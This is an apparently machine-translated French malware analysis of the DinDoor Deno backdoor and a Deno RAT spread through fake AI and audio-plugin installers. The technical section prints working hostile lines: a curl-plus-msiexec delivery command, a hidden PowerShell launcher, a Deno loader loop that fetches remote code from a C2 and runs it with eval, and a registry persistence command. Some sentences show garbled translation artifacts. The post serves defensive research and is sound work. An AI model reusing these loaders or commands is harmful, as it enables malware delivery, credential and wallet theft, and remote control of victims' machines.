Lors de nos activités de recherche de menaces, nous avons découvert sur GitHub et SourceForge de faux installateurs et plugins imitant des logiciels populaires tels que ChatGPT, Claude, AutoTune et Kontakt, et distribuant une porte dérobée Deno appelée DinDoor . Les attaquants utilisent des systèmes compromis. YouTube canaux pour diffuser les liens vers ces plateformes.
DinDoor dépose finalement différents types de logiciels malveillants, dont un cheval de Troie d'accès à distance furtif (RAT), qui utilise également l'environnement d'exécution JavaScript Deno.
Les attaquants exploitent de plus en plus les environnements d'exécution JavaScript alternatifs tels que Bun et Deno pour contourner les méthodes de détection traditionnelles. Dans une de nos récentes enquêtes, nous avons démontré comment des attaquants utilisent Bun comme vecteur d'infection initial pour diffuser NWHStealer. En mars, les chercheurs ThreatDown ont également observé des attaquants utiliser Deno pour déployer CastleLoader via une chaîne d'infection en plusieurs étapes impliquant le leurre ClickFix.
Ces campagnes utilisent Scoop (un installateur alternatif pour Windows ) et WinGet (le programme officiel) Windows Ils utilisent un gestionnaire de paquets pour installer Deno sur la machine de la victime. Ils utilisent ensuite l'environnement d'exécution Deno pour exécuter un RAT capable de lancer des charges utiles supplémentaires, d'exfiltrer des données depuis des navigateurs, des portefeuilles et d'autres applications, et qui possède une fonctionnalité peer-to-peer intéressante. Edge pour dissimuler le trafic malveillant.
Des plateformes légitimes sont utilisées à mauvais escient pour diffuser des logiciels malveillants.
Dans la plupart des cas analysés, la chaîne d'infection débute généralement via des fichiers MSI ou des scripts PowerShell téléchargés depuis GitHub ou SourceForge. Les utilisateurs sont généralement redirigés vers ces dépôts malveillants via des comptes compromis. YouTube chaînes. Ces vidéos totalisent actuellement plus de 50 000 vues.


Le compromis YouTube Ces chaînes publient des messages faisant la promotion de différents logiciels et alternent constamment entre différents comptes GitHub pour diffuser des logiciels malveillants.

Ces logiciels contrefaits semblent cibler les créateurs, les passionnés d'IA, les joueurs et les utilisateurs avertis, plus susceptibles de télécharger des outils non officiels, des logiciels piratés ou des installateurs distribués par la communauté depuis des plateformes comme GitHub et SourceForge. Nous avons observé de faux fichiers MSI et des scripts se faisant passer pour des installateurs et des plugins de logiciels et de marques légitimes telles que ChatGPT, Claude, ZENOLOGY, Ableton Live, AutoTune et Kontakt.

Les dépôts malveillants possèdent une commande pour les deux Windows et macOS. Ces dépôts demandent aux utilisateurs d'ouvrir le terminal et de copier une commande malveillante qui télécharge et exécute le fichier MSI depuis GitHub.

Des comptes GitHub malveillants créent de multiples dépôts remplis de faux logiciels et plugins liés à des logiciels populaires afin d'attirer davantage d'utilisateurs.

Nous avons constaté que la même porte dérobée était distribuée via SourceForge, imitant un logiciel de jeu légitime appelé GearUP et un logiciel de suppression de filigrane par IA appelé BWR.


Comment rester en sécurité
Les attaquants ont largement exploité la confiance. GitHub et SourceForge étant des plateformes légitimes, les faux projets paraissent plus crédibles. Nous avons contacté GitHub, qui a rapidement supprimé les dépôts malveillants, mais les utilisateurs doivent s'attendre à ce que de nouveaux apparaissent.
Voici quelques moyens simples de rester en sécurité :
- Téléchargez uniquement les logiciels depuis les sites web officiels des fournisseurs.
- Soyez sceptique face aux versions « gratuites », piratées ou non officielles de logiciels payants.
- Soyez prudent avec les téléchargements provenant de GitHub, SourceForge, des forums ou des sites de partage de fichiers, en particulier ceux provenant de comptes nouveaux ou inconnus.
- Les pirates continuent de créer de nouveaux profils pour diffuser ce logiciel malveillant sur différentes plateformes. Avant de télécharger quoi que ce soit, vérifiez le profil du développeur ou de l'éditeur, sa réputation et sa date de création.
- Vérifiez que le contenu de l'archive, les images et les fichiers texte correspondent à ce que vous vous attendiez à télécharger. Les noms et les structures des archives suivent souvent des schémas malveillants reconnaissables.
- Vérifiez l'éditeur et la signature numérique du fichier avant de l'exécuter. Windows Vous pouvez généralement le vérifier en cliquant avec le bouton droit sur le fichier, puis en sélectionnant Propriétés > Signatures numériques . Sachez qu'une signature valide ne garantit pas la sécurité d'un fichier, mais l'absence ou la présence de signatures suspectes constituent souvent un signal d'alarme.
Analyse technique
Les dépôts GitHub malveillants invitent l'utilisateur à ouvrir l'invite de commandes et à exécuter une commande malveillante. Cette commande télécharge un fichier MSI depuis GitHub et l'installe via… msiexecCes dépôts contiennent parfois aussi des scripts PowerShell permettant d'initier de la même manière la chaîne d'infection.
Exemple de commande malveillante hébergée sur GitHub qui déclenche la chaîne d'infection :
curl -Lo %temp%\s.msi https://raw.githubusercontent.com/claude-free-plugin/install/main/install.msi && msiexec /i %temp%\s.msi
Le fichier MSI dépose un fichier CMD et un script PowerShell dans un répertoire aléatoire spécifié dans le fichier MSI. InstallationFolder et des valeurs de registre. Nous avons détecté différentes structures pour ces MSI, avec du JavaScript au lieu du fichier CMD, ou avec des fichiers intégrés supplémentaires.

Le fichier CMD exécute le script PowerShell, dont le nom change dans les chaînes d'infection analysées :
@set "SCRIPTDIR=%~dp0" @powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Start-Process powershell -ArgumentList ('-NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File ""' + $env:SCRIPTDIR + '{Random name}.ps1""') -WindowStyle Hidden"

Le script PowerShell se charge de :
- S'assurer que le gestionnaire de paquets Scoop est installé, et l'installer s'il est absent à l'aide du script officiel de
get.scoop.shScoop est un gestionnaire de paquets et un installateur de logiciels en ligne de commande open source populaire pour Microsoft. Windows . - Utilisation de Scoop pour installer WinGet ( Windows Gestionnaire de paquets) s'il est manquant.
- Installe Deno (un environnement d'exécution JavaScript/TypeScript) via WinGet ou Scoop s'il n'est pas présent.
L'utilisation des gestionnaires de paquets Scoop et WinGet pour installer des logiciels supplémentaires sur la machine compromise est une approche intéressante qui offre à l'attaquant une plus grande flexibilité.
Commande exécutée pour installer Deno à l'aide de WinGet :
"C:\Users\admin\scoop\apps\winget\current\winget.exe" install --id DenoLand.Deno -e --accept-source-agreements --accept-package-agreements --silent
La porte dérobée DinDoor
Ensuite, l'étape suivante est exécutée avec le fichier exécutable Deno téléchargé :
"C:\Users\admin\AppData\Local\Microsoft\WinGet\Packages\DenoLand.Deno_Microsoft.Winget.Source_8wekyb3d8bbwe\deno.exe" run -A http://{C2}/{random_path}.js
Le code renvoyé (nom interne : « launcher-1 ») est une petite fonction d’évaluation en boucle qui télécharge l’étape suivante (nom interne : « launcher-2 »). La porte dérobée téléchargée est connue publiquement sous le nom de DinDoor .
var a="{C2}".split(","),i=0;for(;;){let e=null;try{let t=await fetch(a[i%a.length]+"/{BUILD_ID}.js");if(!t.ok)throw 0;e=await t.text()}catch{i++,await new Promise(t=>setTimeout(t,5e3));continue}try{await(0,eval)("(async()=>{"+e+"})()")}catch{}await new Promise(t=>setTimeout(t,3e4))}
La porte dérobée assure la persistance, envoie des informations sur le système compromis au serveur de commande et de contrôle (C2) et exécute des charges utiles et des commandes supplémentaires renvoyées par le C2. Les points de terminaison HTTP utilisés pour les communications avec le C2 varient selon les cas analysés.
La porte dérobée obtient un identifiant à partir d'un point de terminaison HTTP (par exemple, /security-pool) et utilise ensuite cet identifiant pour obtenir l'étape suivante à partir de /v2{ID}.js.
L'étape obtenue est exécutée via stdin sans être écrit sur disque, en utilisant la commande :
deno run -A --no-check –
Pour assurer sa persistance, la porte dérobée exécute une commande PowerShell afin de créer une clé RUN qui exécute le programme de téléchargement « launcher-1 » utilisé précédemment :
conhost.exe --headless "<deno.exe>" -A "%APPDATA%\<hash>.js
Cette porte dérobée distribue plusieurs familles de logiciels malveillants dans les cas analysés. Dans cet article, nous analysons l'une des charges utiles distribuées : un RAT utilisant l'environnement d'exécution JavaScript Deno.
RAT Deno
Le RAT livré, comme les autres scripts analysés, utilise l'environnement JavaScript Deno et possède toutes les fonctionnalités nécessaires pour contrôler l'appareil, exécuter des commandes et des charges utiles, et exfiltrer différents types de données grâce à son module de vol intégré.
Nous n'avons trouvé aucun nom ni attribution spécifique pour ce RAT. Auparavant, il était désigné sous le nom de « Smokest », en référence à une valeur particulière de sa configuration. La similitude du style de commentaires et l'infrastructure partagée laissent penser que le développeur de DinDoor et celui du RAT pourraient être une seule et même personne ou équipe.
Tu as ramassé quelque chose que tu n'aurais pas dû ?
En plus du protocole HTTP pour la communication C2, le RAT prend également en charge WebSocket communication activée lorsque la valeur JSON isLiveEnabled La valeur renvoyée par C2 est définie sur vrai.

Le RAT prend en charge différentes commandes (exec, exec-ps, exec-sc, sysinfo, screenshot, stealer) et fonctionnalités :
- Collecter des informations système sur l'appareil compromis
- Contrôle bidirectionnel complet via une implémentation VNC personnalisée sur WebSocket
- Cible plus de 50 extensions de portefeuilles crypto et 10 dossiers de logiciels crypto tels que Atomic Wallet, Exodus, Electrum et ByteCoin
- Collecter des données à partir des navigateurs, notamment Chrome , Chrome, Brave, Edge , Navigateur Avast, Edge Opera, Vivaldi, CentBrowser, Kometa, Orbitum, 360Browser et Chromodo
- Exfiltrer les données de Telegram, Discord et Lightcord
- Enregistrer et modifier les données du presse-papiers
- Lister les dossiers et les fichiers, et exfiltrer le contenu des fichiers ayant des extensions spécifiques.
- Capturez des captures d'écran à l'aide de différentes méthodes
- Exécuter des charges utiles supplémentaires
- Lancer ou interrompre des processus arbitraires
- Exécuter des commandes avec PowerShell
- Établir des tunnels proxy SOCKS5 via WebSocket
L'un des aspects les plus intéressants du RAT est un mode de diffusion en continu pair à pair qui utilise le Edge navigateur pour masquer le trafic et rendre la détection plus difficile.
Pour diffuser de la vidéo en direct directement à l'opérateur sans passer par le serveur C2, le RAT crée un Microsoft caché. Edge processus et s'y connecte via Chrome Le protocole DevTools (CDP) injecte ensuite une petite page HTML WebRTC dans le système. Edge , transformant le navigateur légitime en relais vidéo peer-to-peer. L'agent Deno capture et encode en H.264 l'écran de la victime, puis transmet les images à… Edge page au-dessus de CDP, et Edge Les données sont transmises directement au navigateur de l'opérateur via un canal de données WebRTC chiffré. La signalisation SDP et ICE, nécessaire à l'établissement de la connexion directe, est échangée via le WebSocket C2 existant.

Le RAT utilise les points de terminaison suivants pour la communication C2, qui peuvent varier d'un échantillon à l'autre :
/health: vérifie la réponse « ok » du C2/token: réception des paramètres de configuration, exécution des tâches, résultats et données exfiltrées/vnc/agent/Chemin WebSocket utilisé pour la communication VNC
Les données de configuration sont encodées en Base64 et envoyées lors des communications avec le C2 sous forme de jeton d'autorisation. Données de configuration décodées :
{
"buildId": "cd361ef3159f5ce9",
"buildNote": "BWR",
"buildType": "msi-v2",
"proxyUrls": ["{C2}"],
"userId": "…",
"accessTokenHash": "…",
"iat": 1779372546,
"exp": 2094948546
}
Nous avons trouvé différentes versions de ce RAT, dont une version « légère » appelée « agent-lite » qui ne prend en charge que quelques commandes et utilise Cloudflare Workers pour la communication C2.

Remerciements
- DinDoor : https://hunt.io/blog/dindoor-deno-runtime-backdoor-msi-analysis
- Smokest : https://x.com/vxunderground/status/2013006601133687004
Indicateurs de compromission (IOC)
URL
https[:]//github.com/claude-free-plugin/https[:]//github.com/ai-gen-profihttps[:]//github.com/wharfdemolisherpithttps[:]//sourceforge.net/projects/gearup/https[:]//sourceforge.net/projects/bluewaveremover/
Domaines
claudescript[.]top: site web de distributionms-telemetry-gateway-us[.]com: C2dakatawebstick[.]com: C2ashpaltlonpro[.]com: C2cf-proxy[.]cloud-analytics-services[.]workers.dev: C2agilemast3r[.]duckdns[.]org: C2geralnewlong[.]com: C2hngfbgfbfb[.]cyou: C2logicalnewrestore[.]com: C2
Adresses IP
23[.]227[.]196[.]107: C245[.]137[.]99[.]121: C231[.]57[.]129[.]23: C266[.]78[.]40[.]107: C2193[.]233[.]198[.]132: C2
Du signalement des menaces à leur suppression.
Les risques de cybersécurité ne devraient jamais dépasser le stade de la simple mention dans les médias. Protégez vos appareils des menaces en téléchargeant Malwarebytes dès aujourd'hui .




